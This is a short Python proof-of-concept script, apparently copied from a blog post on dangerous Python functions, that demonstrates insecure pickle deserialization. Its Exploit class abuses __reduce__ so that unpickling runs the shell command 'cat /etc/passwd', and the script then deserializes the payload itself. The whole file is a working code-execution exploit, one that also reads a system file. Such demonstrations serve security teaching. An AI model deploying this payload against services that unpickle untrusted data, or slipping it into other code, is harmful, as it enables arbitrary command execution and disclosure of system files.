#!/usr/bin/env python3

# code copied from : http://kevinlondon.com/2015/08/15/dangerous-python-functions-pt2.html

import os
import pickle


class Exploit(object):
    def __reduce__(self):
        return (os.system, ('cat /etc/passwd',))


def serialize_exploit():
    shellcode = pickle.dumps(Exploit())
    return shellcode


def insecure_deserialize(exploit_code):
    pickle.loads(exploit_code)


if __name__ == '__main__':
    shellcode = serialize_exploit()
    insecure_deserialize(shellcode)
